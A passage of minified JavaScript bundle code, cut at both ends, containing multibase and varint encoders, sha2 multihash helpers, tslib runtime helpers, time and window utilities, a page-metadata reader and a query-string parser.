p=s-r;p!==s&&0===c[p];)p++;for(var g=u.repeat(n);p<s;++p)g+=e.charAt(c[p]);return g},decodeUnsafe:f,decode:function(e){var n=f(e);if(n)return n;throw new Error(`Non-${t} character`)}}},eu=Za;const tu=e=>{if(e instanceof Uint8Array&&"Uint8Array"===e.constructor.name)return e;if(e instanceof ArrayBuffer)return new Uint8Array(e);if(ArrayBuffer.isView(e))return new Uint8Array(e.buffer,e.byteOffset,e.byteLength);throw new Error("Unknown type, must be binary type")};class nu{constructor(e,t,n){this.name=e,this.prefix=t,this.baseEncode=n}encode(e){if(e instanceof Uint8Array)return`${this.prefix}${this.baseEncode(e)}`;throw Error("Unknown type, must be binary type")}}class ru{constructor(e,t,n){if(this.name=e,this.prefix=t,void 0===t.codePointAt(0))throw new Error("Invalid prefix character");this.prefixCodePoint=t.codePointAt(0),this.baseDecode=n}decode(e){if("string"==typeof e){if(e.codePointAt(0)!==this.prefixCodePoint)throw Error(`Unable to decode multibase string ${JSON.stringify(e)}, ${this.name} decoder only supports inputs prefixed with ${this.prefix}`);return this.baseDecode(e.slice(this.prefix.length))}throw Error("Can only multibase decode strings")}or(e){return ou(this,e)}}class iu{constructor(e){this.decoders=e}or(e){return ou(this,e)}decode(e){const t=e[0],n=this.decoders[t];if(n)return n.decode(e);throw RangeError(`Unable to decode multibase string ${JSON.stringify(e)}, only inputs prefixed with ${Object.keys(this.decoders)} are supported`)}}const ou=(e,t)=>new iu({...e.decoders||{[e.prefix]:e},...t.decoders||{[t.prefix]:t}});class su{constructor(e,t,n,r){this.name=e,this.prefix=t,this.baseEncode=n,this.baseDecode=r,this.encoder=new nu(e,t,n),this.decoder=new ru(e,t,r)}encode(e){return this.encoder.encode(e)}decode(e){return this.decoder.decode(e)}}const au=({name:e,prefix:t,encode:n,decode:r})=>new su(e,t,n,r),uu=({prefix:e,name:t,alphabet:n})=>{const{encode:r,decode:i}=eu(n,t);return au({prefix:e,name:t,encode:r,decode:e=>tu(i(e))})},cu=({name:e,prefix:t,bitsPerChar:n,alphabet:r})=>au({prefix:t,name:e,encode:e=>((e,t,n)=>{const r="="===t[t.length-1],i=(1<<n)-1;let o="",s=0,a=0;for(let r=0;r<e.length;++r)for(a=a<<8|e[r],s+=8;s>n;)s-=n,o+=t[i&a>>s];if(s&&(o+=t[i&a<<n-s]),r)for(;o.length*n&7;)o+="=";return o})(e,r,n),decode:t=>((e,t,n,r)=>{const i={};for(let e=0;e<t.length;++e)i[t[e]]=e;let o=e.length;for(;"="===e[o-1];)--o;const s=new Uint8Array(o*n/8|0);let a=0,u=0,c=0;for(let t=0;t<o;++t){const o=i[e[t]];if(void 0===o)throw new SyntaxError(`Non-${r} character`);u=u<<n|o,a+=n,a>=8&&(a-=8,s[c++]=255&u>>a)}if(a>=n||255&u<<8-a)throw new SyntaxError("Unexpected end of data");return s})(t,r,n,e)});au({prefix:"\0",name:"identity",encode:e=>(e=>(new TextDecoder).decode(e))(e),decode:e=>(e=>(new TextEncoder).encode(e))(e)});cu({prefix:"0",name:"base2",alphabet:"01",bitsPerChar:1});cu({prefix:"7",name:"base8",alphabet:"01234567",bitsPerChar:3});uu({prefix:"9",name:"base10",alphabet:"0123456789"});cu({prefix:"f",name:"base16",alphabet:"0123456789abcdef",bitsPerChar:4}),cu({prefix:"F",name:"base16upper",alphabet:"0123456789ABCDEF",bitsPerChar:4});cu({prefix:"b",name:"base32",alphabet:"abcdefghijklmnopqrstuvwxyz234567",bitsPerChar:5}),cu({prefix:"B",name:"base32upper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567",bitsPerChar:5}),cu({prefix:"c",name:"base32pad",alphabet:"abcdefghijklmnopqrstuvwxyz234567=",bitsPerChar:5}),cu({prefix:"C",name:"base32padupper",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=",bitsPerChar:5}),cu({prefix:"v",name:"base32hex",alphabet:"0123456789abcdefghijklmnopqrstuv",bitsPerChar:5}),cu({prefix:"V",name:"base32hexupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV",bitsPerChar:5}),cu({prefix:"t",name:"base32hexpad",alphabet:"0123456789abcdefghijklmnopqrstuv=",bitsPerChar:5}),cu({prefix:"T",name:"base32hexpadupper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUV=",bitsPerChar:5}),cu({prefix:"h",name:"base32z",alphabet:"ybndrfg8ejkmcpqxot1uwisza345h769",bitsPerChar:5});uu({prefix:"k",name:"base36",alphabet:"0123456789abcdefghijklmnopqrstuvwxyz"}),uu({prefix:"K",name:"base36upper",alphabet:"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"});uu({name:"base58btc",prefix:"z",alphabet:"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"}),uu({name:"base58flickr",prefix:"Z",alphabet:"123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"});cu({prefix:"m",name:"base64",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",bitsPerChar:6}),cu({prefix:"M",name:"base64pad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",bitsPerChar:6}),cu({prefix:"u",name:"base64url",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",bitsPerChar:6}),cu({prefix:"U",name:"base64urlpad",alphabet:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=",bitsPerChar:6});const lu=Array.from("🚀🪐☄🛰🌌🌑🌒🌓🌔🌕🌖🌗🌘🌍🌏🌎🐉☀💻🖥💾💿😂❤😍🤣😊🙏💕😭😘👍😅👏😁🔥🥰💔💖💙😢🤔😆🙄💪😉☺👌🤗💜😔😎😇🌹🤦🎉💞✌✨🤷😱😌🌸🙌😋💗💚😏💛🙂💓🤩😄😀🖤😃💯🙈👇🎶😒🤭❣😜💋👀😪😑💥🙋😞😩😡🤪👊🥳😥🤤👉💃😳✋😚😝😴🌟😬🙃🍀🌷😻😓⭐✅🥺🌈😈🤘💦✔😣🏃💐☹🎊💘😠☝😕🌺🎂🌻😐🖕💝🙊😹🗣💫💀👑🎵🤞😛🔴😤🌼😫⚽🤙☕🏆🤫👈😮🙆🍻🍃🐶💁😲🌿🧡🎁⚡🌞🎈❌✊👋😰🤨😶🤝🚶💰🍓💢🤟🙁🚨💨🤬✈🎀🍺🤓😙💟🌱😖👶🥴▶➡❓💎💸⬇😨🌚🦋😷🕺⚠🙅😟😵👎🤲🤠🤧📌🔵💅🧐🐾🍒😗🤑🌊🤯🐷☎💧😯💆👆🎤🙇🍑❄🌴💣🐸💌📍🥀🤢👅💡💩👐📸👻🤐🤮🎼🥵🚩🍎🍊👼💍📣🥂"),fu=lu.reduce(((e,t,n)=>(e[n]=t,e)),[]),hu=lu.reduce(((e,t,n)=>(e[t.codePointAt(0)]=n,e)),[]);au({prefix:"🚀",name:"base256emoji",encode:function(e){return e.reduce(((e,t)=>e+=fu[t]),"")},decode:function(e){const t=[];for(const n of e){const e=hu[n.codePointAt(0)];if(void 0===e)throw new Error(`Non-base256emoji character: ${n}`);t.push(e)}return new Uint8Array(t)}});var du=function e(t,n,r){n=n||[];var i=r=r||0;for(;t>=yu;)n[r++]=255&t|pu,t/=128;for(;t&gu;)n[r++]=255&t|pu,t>>>=7;return n[r]=0|t,e.bytes=r-i+1,n},pu=128,gu=-128,yu=Math.pow(2,31);var vu=function e(t,n){var r,i=0,o=0,s=n=n||0,a=t.length;do{if(s>=a)throw e.bytes=0,new RangeError("Could not decode varint");r=t[s++],i+=o<28?(r&_u)<<o:(r&_u)*Math.pow(2,o),o+=7}while(r>=mu);return e.bytes=s-n,i},mu=128,_u=127;var bu=Math.pow(2,7),wu=Math.pow(2,14),Eu=Math.pow(2,21),Su=Math.pow(2,28),Ou=Math.pow(2,35),xu=Math.pow(2,42),Iu=Math.pow(2,49),Ru=Math.pow(2,56),ku=Math.pow(2,63),Cu={encode:du,decode:vu,encodingLength:function(e){return e<bu?1:e<wu?2:e<Eu?3:e<Su?4:e<Ou?5:e<xu?6:e<Iu?7:e<Ru?8:e<ku?9:10}};const Pu=(e,t,n=0)=>(Cu.encode(e,t,n),t),Au=e=>Cu.encodingLength(e),Nu=(e,t)=>{const n=t.byteLength,r=Au(e),i=r+Au(n),o=new Uint8Array(i+n);return Pu(e,o,0),Pu(n,o,r),o.set(t,i),new Tu(e,n,t,o)};class Tu{constructor(e,t,n,r){this.code=e,this.size=t,this.digest=n,this.bytes=r}}const Mu=({name:e,code:t,encode:n})=>new Lu(e,t,n);class Lu{constructor(e,t,n){this.name=e,this.code=t,this.encode=n}digest(e){if(e instanceof Uint8Array){const t=this.encode(e);return t instanceof Uint8Array?Nu(this.code,t):t.then((e=>Nu(this.code,e)))}throw Error("Unknown type, must be binary type")}}const ju=e=>async t=>new Uint8Array(await crypto.subtle.digest(e,t));Mu({name:"sha2-256",code:18,encode:ju("SHA-256")}),Mu({name:"sha2-512",code:19,encode:ju("SHA-512")});new TextEncoder,new TextDecoder;var Uu=function(e,t){return Uu=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},Uu(e,t)};
238
- /*! *****************************************************************************
239
- Copyright (c) Microsoft Corporation.
240
-
241
- Permission to use, copy, modify, and/or distribute this software for any
242
- purpose with or without fee is hereby granted.
243
-
244
- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
245
- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
246
- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
247
- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
248
- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
249
- OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
250
- PERFORMANCE OF THIS SOFTWARE.
251
- ***************************************************************************** */var Du=function(){return Du=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},Du.apply(this,arguments)};function zu(e){var t="function"==typeof Symbol&&Symbol.iterator,n=t&&e[t],r=0;if(n)return n.call(e);if(e&&"number"==typeof e.length)return{next:function(){return e&&r>=e.length&&(e=void 0),{value:e&&e[r++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function Fu(e,t){var n="function"==typeof Symbol&&e[Symbol.iterator];if(!n)return e;var r,i,o=n.call(e),s=[];try{for(;(void 0===t||t-- >0)&&!(r=o.next()).done;)s.push(r.value)}catch(e){i={error:e}}finally{try{r&&!r.done&&(n=o.return)&&n.call(o)}finally{if(i)throw i.error}}return s}function Bu(e){return this instanceof Bu?(this.v=e,this):new Bu(e)}var Hu,qu=Object.freeze({__proto__:null,__extends:function(e,t){function n(){this.constructor=e}Uu(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)},get __assign(){return Du},__rest:function(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(r=Object.getOwnPropertySymbols(e);i<r.length;i++)t.indexOf(r[i])<0&&Object.prototype.propertyIsEnumerable.call(e,r[i])&&(n[r[i]]=e[r[i]])}return n},__decorate:function(e,t,n,r){var i,o=arguments.length,s=o<3?t:null===r?r=Object.getOwnPropertyDescriptor(t,n):r;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)s=Reflect.decorate(e,t,n,r);else for(var a=e.length-1;a>=0;a--)(i=e[a])&&(s=(o<3?i(s):o>3?i(t,n,s):i(t,n))||s);return o>3&&s&&Object.defineProperty(t,n,s),s},__param:function(e,t){return function(n,r){t(n,r,e)}},__metadata:function(e,t){if("object"==typeof Reflect&&"function"==typeof Reflect.metadata)return Reflect.metadata(e,t)},__awaiter:function(e,t,n,r){return new(n||(n=Promise))((function(i,o){function s(e){try{u(r.next(e))}catch(e){o(e)}}function a(e){try{u(r.throw(e))}catch(e){o(e)}}function u(e){var t;e.done?i(e.value):(t=e.value,t instanceof n?t:new n((function(e){e(t)}))).then(s,a)}u((r=r.apply(e,t||[])).next())}))},__generator:function(e,t){var n,r,i,o,s={label:0,sent:function(){if(1&i[0])throw i[1];return i[1]},trys:[],ops:[]};return o={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(o[Symbol.iterator]=function(){return this}),o;function a(o){return function(a){return function(o){if(n)throw new TypeError("Generator is already executing.");for(;s;)try{if(n=1,r&&(i=2&o[0]?r.return:o[0]?r.throw||((i=r.return)&&i.call(r),0):r.next)&&!(i=i.call(r,o[1])).done)return i;switch(r=0,i&&(o=[2&o[0],i.value]),o[0]){case 0:case 1:i=o;break;case 4:return s.label++,{value:o[1],done:!1};case 5:s.label++,r=o[1],o=[0];continue;case 7:o=s.ops.pop(),s.trys.pop();continue;default:if(!(i=s.trys,(i=i.length>0&&i[i.length-1])||6!==o[0]&&2!==o[0])){s=0;continue}if(3===o[0]&&(!i||o[1]>i[0]&&o[1]<i[3])){s.label=o[1];break}if(6===o[0]&&s.label<i[1]){s.label=i[1],i=o;break}if(i&&s.label<i[2]){s.label=i[2],s.ops.push(o);break}i[2]&&s.ops.pop(),s.trys.pop();continue}o=t.call(e,s)}catch(e){o=[6,e],r=0}finally{n=i=0}if(5&o[0])throw o[1];return{value:o[0]?o[1]:void 0,done:!0}}([o,a])}}},__createBinding:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]},__exportStar:function(e,t){for(var n in e)"default"===n||t.hasOwnProperty(n)||(t[n]=e[n])},__values:zu,__read:Fu,__spread:function(){for(var e=[],t=0;t<arguments.length;t++)e=e.concat(Fu(arguments[t]));return e},__spreadArrays:function(){for(var e=0,t=0,n=arguments.length;t<n;t++)e+=arguments[t].length;var r=Array(e),i=0;for(t=0;t<n;t++)for(var o=arguments[t],s=0,a=o.length;s<a;s++,i++)r[i]=o[s];return r},__await:Bu,__asyncGenerator:function(e,t,n){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var r,i=n.apply(e,t||[]),o=[];return r={},s("next"),s("throw"),s("return"),r[Symbol.asyncIterator]=function(){return this},r;function s(e){i[e]&&(r[e]=function(t){return new Promise((function(n,r){o.push([e,t,n,r])>1||a(e,t)}))})}function a(e,t){try{!function(e){e.value instanceof Bu?Promise.resolve(e.value.v).then(u,c):l(o[0][2],e)}(i[e](t))}catch(e){l(o[0][3],e)}}function u(e){a("next",e)}function c(e){a("throw",e)}function l(e,t){e(t),o.shift(),o.length&&a(o[0][0],o[0][1])}},__asyncDelegator:function(e){var t,n;return t={},r("next"),r("throw",(function(e){throw e})),r("return"),t[Symbol.iterator]=function(){return this},t;function r(r,i){t[r]=e[r]?function(t){return(n=!n)?{value:Bu(e[r](t)),done:"return"===r}:i?i(t):t}:i}},__asyncValues:function(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t,n=e[Symbol.asyncIterator];return n?n.call(e):(e=zu(e),t={},r("next"),r("throw"),r("return"),t[Symbol.asyncIterator]=function(){return this},t);function r(n){t[n]=e[n]&&function(t){return new Promise((function(r,i){(function(e,t,n,r){Promise.resolve(r).then((function(t){e({value:t,done:n})}),t)})(r,i,(t=e[n](t)).done,t.value)}))}}},__makeTemplateObject:function(e,t){return Object.defineProperty?Object.defineProperty(e,"raw",{value:t}):e.raw=t,e},__importStar:function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var n in e)Object.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t.default=e,t},__importDefault:function(e){return e&&e.__esModule?e:{default:e}},__classPrivateFieldGet:function(e,t){if(!t.has(e))throw new TypeError("attempted to get private field on non-instance");return t.get(e)},__classPrivateFieldSet:function(e,t,n){if(!t.has(e))throw new TypeError("attempted to set private field on non-instance");return t.set(e,n),n}}),Vu=h(qu),$u={},Wu={};var Ku,Gu={},Yu={},Qu={};var Ju,Xu,Zu,ec,tc={};function nc(){return Xu||(Xu=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=Vu;t.__exportStar((Ku||(Ku=1,Object.defineProperty(Qu,"__esModule",{value:!0}),Qu.ONE_THOUSAND=Qu.ONE_HUNDRED=void 0,Qu.ONE_HUNDRED=100,Qu.ONE_THOUSAND=1e3),Qu),e),t.__exportStar((Ju||(Ju=1,function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.ONE_YEAR=e.FOUR_WEEKS=e.THREE_WEEKS=e.TWO_WEEKS=e.ONE_WEEK=e.THIRTY_DAYS=e.SEVEN_DAYS=e.FIVE_DAYS=e.THREE_DAYS=e.ONE_DAY=e.TWENTY_FOUR_HOURS=e.TWELVE_HOURS=e.SIX_HOURS=e.THREE_HOURS=e.ONE_HOUR=e.SIXTY_MINUTES=e.THIRTY_MINUTES=e.TEN_MINUTES=e.FIVE_MINUTES=e.ONE_MINUTE=e.SIXTY_SECONDS=e.THIRTY_SECONDS=e.TEN_SECONDS=e.FIVE_SECONDS=e.ONE_SECOND=void 0,e.ONE_SECOND=1,e.FIVE_SECONDS=5,e.TEN_SECONDS=10,e.THIRTY_SECONDS=30,e.SIXTY_SECONDS=60,e.ONE_MINUTE=e.SIXTY_SECONDS,e.FIVE_MINUTES=5*e.ONE_MINUTE,e.TEN_MINUTES=10*e.ONE_MINUTE,e.THIRTY_MINUTES=30*e.ONE_MINUTE,e.SIXTY_MINUTES=60*e.ONE_MINUTE,e.ONE_HOUR=e.SIXTY_MINUTES,e.THREE_HOURS=3*e.ONE_HOUR,e.SIX_HOURS=6*e.ONE_HOUR,e.TWELVE_HOURS=12*e.ONE_HOUR,e.TWENTY_FOUR_HOURS=24*e.ONE_HOUR,e.ONE_DAY=e.TWENTY_FOUR_HOURS,e.THREE_DAYS=3*e.ONE_DAY,e.FIVE_DAYS=5*e.ONE_DAY,e.SEVEN_DAYS=7*e.ONE_DAY,e.THIRTY_DAYS=30*e.ONE_DAY,e.ONE_WEEK=e.SEVEN_DAYS,e.TWO_WEEKS=2*e.ONE_WEEK,e.THREE_WEEKS=3*e.ONE_WEEK,e.FOUR_WEEKS=4*e.ONE_WEEK,e.ONE_YEAR=365*e.ONE_DAY}(tc)),tc),e)}(Yu)),Yu}function rc(){return ec||(ec=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=Vu;t.__exportStar((Hu||(Hu=1,Object.defineProperty(Wu,"__esModule",{value:!0}),Wu.delay=void 0,Wu.delay=function(e){return new Promise((t=>{setTimeout((()=>{t(!0)}),e)}))}),Wu),e),t.__exportStar(function(){if(Zu)return Gu;Zu=1,Object.defineProperty(Gu,"__esModule",{value:!0}),Gu.fromMiliseconds=Gu.toMiliseconds=void 0;const e=nc();return Gu.toMiliseconds=function(t){return t*e.ONE_THOUSAND},Gu.fromMiliseconds=function(t){return Math.floor(t/e.ONE_THOUSAND)},Gu}(),e)}($u)),$u}var ic,oc={};var sc,ac,uc={},cc={};function lc(){return ac||(ac=1,function(e){Object.defineProperty(e,"__esModule",{value:!0});Vu.__exportStar((sc||(sc=1,Object.defineProperty(cc,"__esModule",{value:!0}),cc.IWatch=void 0,cc.IWatch=class{}),cc),e)}(uc)),uc}!function(e){Object.defineProperty(e,"__esModule",{value:!0});const t=Vu;t.__exportStar(rc(),e),t.__exportStar(function(){if(ic)return oc;ic=1,Object.defineProperty(oc,"__esModule",{value:!0}),oc.Watch=void 0;class e{constructor(){this.timestamps=new Map}start(e){if(this.timestamps.has(e))throw new Error(`Watch already started for label: ${e}`);this.timestamps.set(e,{started:Date.now()})}stop(e){const t=this.get(e);if(void 0!==t.elapsed)throw new Error(`Watch already stopped for label: ${e}`);const n=Date.now()-t.started;this.timestamps.set(e,{started:t.started,elapsed:n})}get(e){const t=this.timestamps.get(e);if(void 0===t)throw new Error(`No timestamp found for label: ${e}`);return t}elapsed(e){const t=this.get(e);return t.elapsed||Date.now()-t.started}}return oc.Watch=e,oc.default=e,oc}(),e),t.__exportStar(lc(),e),t.__exportStar(nc(),e)}({});var fc={};function hc(e){let t;return"undefined"!=typeof window&&void 0!==window[e]&&(t=window[e]),t}function dc(e){const t=hc(e);if(!t)throw new Error(`${e} is not defined in Window`);return t}Object.defineProperty(fc,"__esModule",{value:!0}),fc.getLocalStorage=fc.getLocalStorageOrThrow=fc.getCrypto=fc.getCryptoOrThrow=fc.getLocation=fc.getLocationOrThrow=fc.getNavigator=fc.getNavigatorOrThrow=fc.getDocument=fc.getDocumentOrThrow=fc.getFromWindowOrThrow=fc.getFromWindow=void 0,fc.getFromWindow=hc,fc.getFromWindowOrThrow=dc,fc.getDocumentOrThrow=function(){return dc("document")},fc.getDocument=function(){return hc("document")},fc.getNavigatorOrThrow=function(){return dc("navigator")},fc.getNavigator=function(){return hc("navigator")},fc.getLocationOrThrow=function(){return dc("location")},fc.getLocation=function(){return hc("location")},fc.getCryptoOrThrow=function(){return dc("crypto")},fc.getCrypto=function(){return hc("crypto")},fc.getLocalStorageOrThrow=function(){return dc("localStorage")},fc.getLocalStorage=function(){return hc("localStorage")};var pc={};Object.defineProperty(pc,"__esModule",{value:!0}),pc.getWindowMetadata=void 0;const gc=fc;pc.getWindowMetadata=function(){let e,t;try{e=gc.getDocumentOrThrow(),t=gc.getLocationOrThrow()}catch(e){return null}function n(...t){const n=e.getElementsByTagName("meta");for(let e=0;e<n.length;e++){const r=n[e],i=["itemprop","property","name"].map((e=>r.getAttribute(e))).filter((e=>!!e&&t.includes(e)));if(i.length&&i){const e=r.getAttribute("content");if(e)return e}}return""}const r=function(){let t=n("name","og:site_name","og:title","twitter:title");return t||(t=e.title),t}(),i=n("description","og:description","twitter:description","keywords"),o=t.origin,s=function(){const n=e.getElementsByTagName("link"),r=[];for(let e=0;e<n.length;e++){const i=n[e],o=i.getAttribute("rel");if(o&&o.toLowerCase().indexOf("icon")>-1){const e=i.getAttribute("href");if(e)if(-1===e.toLowerCase().indexOf("https:")&&-1===e.toLowerCase().indexOf("http:")&&0!==e.indexOf("//")){let n=t.protocol+"//"+t.host;if(0===e.indexOf("/"))n+=e;else{const r=t.pathname.split("/");r.pop();n+=r.join("/")+"/"+e}r.push(n)}else if(0===e.indexOf("//")){const n=t.protocol+e;r.push(n)}else r.push(e)}}return r}();return{description:i,url:o,icons:s,name:r}};var yc=e=>encodeURIComponent(e).replace(/[!'()*]/g,(e=>`%${e.charCodeAt(0).toString(16).toUpperCase()}`)),vc="%[a-f0-9]{2}",mc=new RegExp("("+vc+")|([^%]+?)","gi"),_c=new RegExp("("+vc+")+","gi");function bc(e,t){try{return[decodeURIComponent(e.join(""))]}catch(e){}if(1===e.length)return e;t=t||1;var n=e.slice(0,t),r=e.slice(t);return Array.prototype.concat.call([],bc(n),bc(r))}function wc(e){try{return decodeURIComponent(e)}catch(r){for(var t=e.match(mc)||[],n=1;n<t.length;n++)t=(e=bc(t,n).join("")).match(mc)||[];return e}}var Ec=function(e){if("string"!=typeof e)throw new TypeError("Expected `encodedURI` to be of type `string`, got `"+typeof e+"`");try{return e=e.replace(/\+/g," "),decodeURIComponent(e)}catch(t){return function(e){for(var t={"%FE%FF":"��","%FF%FE":"��"},n=_c.exec(e);n;){try{t[n[0]]=decodeURIComponent(n[0])}catch(e){var r=wc(n[0]);r!==n[0]&&(t[n[0]]=r)}n=_c.exec(e)}t["%C2"]="�";for(var i=Object.keys(t),o=0;o<i.length;o++){var s=i[o];e=e.replace(new RegExp(s,"g"),t[s])}return e}(e)}},Sc=(e,t)=>{if("string"!=typeof e||"string"!=typeof t)throw new TypeError("Expected the arguments to be of type `string`");if(""===t)return[e];const n=e.indexOf(t);return-1===n?[e]:[e.slice(0,n),e.slice(n+t.length)]},Oc=function(e,t){for(var n={},r=Object.keys(e),i=Array.isArray(t),o=0;o<r.length;o++){var s=r[o],a=e[s];(i?-1!==t.indexOf(s):t(s,a,e))&&(n[s]=a)}return n};!function(e){const t=yc,n=Ec,r=Sc,i=Oc,o=Symbol("encodeFragmentIdentifier");function s(e){if("string"!=typeof e||1!==e.length)throw new TypeError("arrayFormatSeparator must be single character string")}function a(e,n){return n.encode?n.strict?t(e):encodeURIComponent(e):e}function u(e,t){return t.decode?n(e):e}function c(e){return Array.isArray(e)?e.sort():"object"==typeof e?c(Object.keys(e)).sort(((e,t)=>Number(e)-Number(t))).map((t=>e[t])):e}function l(e){const t=e.indexOf("#");return-1!==t&&(e=e.slice(0,t)),e}function f(e){const t=(e=l(e)).indexOf("?");return-1===t?"":e.slice(t+1)}function h(e,t){return t.parseNumbers&&!Number.isNaN(Number(e))&&"string"==typeof e&&""!==e.trim()?e=Number(e):!t.parseBooleans||null===e||"true"!==e.toLowerCase()&&"false"!==e.toLowerCase()||(e="true"===e.toLowerCase()),e}function d(e,t){s((t=Object.assign({decode:!0,sort:!0,arrayFormat:"none",arrayFormatSeparator:",",parseNumbers:!1,parseBooleans:!1},t)).arrayFormatSeparator);const n=function(e){let t;switch(e.arrayFormat){case"index":return(e,n,r)=>{t=/\[(\d*)\]$/.exec(e),e=e.replace(/\[\d*\]$/,""),t?(void 0===r[e]&&(r[e]={}),r[e][t[1]]=n):r[e]=n};case"bracket":return(e,n,r)=>{t=/(\[\])$/.exec(e),e=e.replace(/\[\]$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],n):r[e]=[n]:r[e]=n};case"colon-list-separator":return(e,n,r)=>{t=/(:list)$/.exec(e),e=e.replace(/:list$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],n):r[e]=[n]:r[e]=n};case"comma":case"separator":return(t,n,r)=>{const i="string"==typeof n&&n.includes(e.arrayFormatSeparator),o="string"==typeof n&&!i&&u(n,e).includes(e.arrayFormatSeparator);n=o?u(n,e):n;const s=i||o?n.split(e.arrayFormatSeparator).map((t=>u(t,e))):null===n?n:u(n,e);r[t]=s};case"bracket-separator":return(t,n,r)=>{const i=/(\[\])$/.test(t);if(t=t.replace(/\[\]$/,""),!i)return void(r[t]=n?u(n,e):n);const o=null===n?[]:n.split(e.arrayFormatSeparator).map((t=>u(t,e)));void 0!==r[t]?r[t]=[].concat(r[t],o):r[t]=o};default:return(e,t,n)=>{void 0!==n[e]?n[e]=[].concat(n[e],t):n[e]=t}}}(t),i=Object.create(null);if("string"!=typeof e)return i;if(!(e=e.trim().replace(/^[?#&]/,"")))return i;for(const o of e.split("&")){if(""===o)continue;let[e,s]=r(t.decode?o.replace(/\+/g," "):o,"=");s=void 0===s?null:["comma","separator","bracket-separator"].includes(t.arrayFormat)?s:u(s,t),n(u(e,t),s,i)}for(const e of Object.keys(i)){const n=i[e];if("object"==typeof n&&null!==n)for(const e of Object.keys(n))n[e]=h(n[e],t);else i[e]=h(n,t)}return!1===t.sort?i:(!0===t.sort?Object.keys(i).sort():Object.keys(i).sort(t.sort)).reduce(((e,t)=>{const n=i[t];return Boolean(n)&&"object"==typeof n&&!Array.isArray(n)?e[t]=c(n):e[t]=n,e}),Object.create(null))}e.extract=f,e.parse=d,e.stringify=(e,t)=>{if(!e)return"";s((t=Object.assign({encode:!0,strict:!0,arrayFormat:"none",arrayFormatSeparator:","},t)).arrayFormatSeparator);const n=n=>t.skipNull&&null==e[n]||t.skipEmptyString&&""===e[n],r=function(e){switch(e.arrayFormat){case"index":return t=>(n,r)=>{const i=n.length;return void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[a(t,e),"[",i,"]"].join("")]:[...n,[a(t,e),"[",a(i,e),"]=",a(r,e)].join("")]};case"bracket":return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[a(t,e),"[]"].join("")]:[...n,[a(t,e),"[]=",a(r,e)].join("")];case"colon-list-separator":return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,[a(t,e),":list="].join("")]:[...n,[a(t,e),":list=",a(r,e)].join("")];case"comma":case"separator":case"bracket-separator":{const t="bracket-separator"===e.arrayFormat?"[]=":"=";return n=>(r,i)=>void 0===i||e.skipNull&&null===i||e.skipEmptyString&&""===i?r:(i=null===i?"":i,0===r.length?[[a(n,e),t,a(i,e)].join("")]:[[r,a(i,e)].join(e.arrayFormatSeparator)])}default:return t=>(n,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?n:null===r?[...n,a(t,e)]:[...n,[a(t,e),"=",a(r,e)].join("")]}}(t),i={};for(const t of Object.keys(e))n(t)||(i[t]=e[t]);const o=Object.keys(i);return!1!==t.sort&&o.sort(t.sort),o.map((n=>{const i=e[n];return void 0===i?"":null===i?a(n,t):Array.isArray(i)?0===i.length&&"bracket-separator"===t.arrayFormat?a(n,t)+"[]":i.reduce(r(n),[]).join("&"):a(n,t)+"="+a(i,t)})).filter((e=>e.length>0)).join("&")},e.parseUrl=(e,t)=>{t=Object.assign({decode:!0},t);const[n,i]=r(e,"#");return 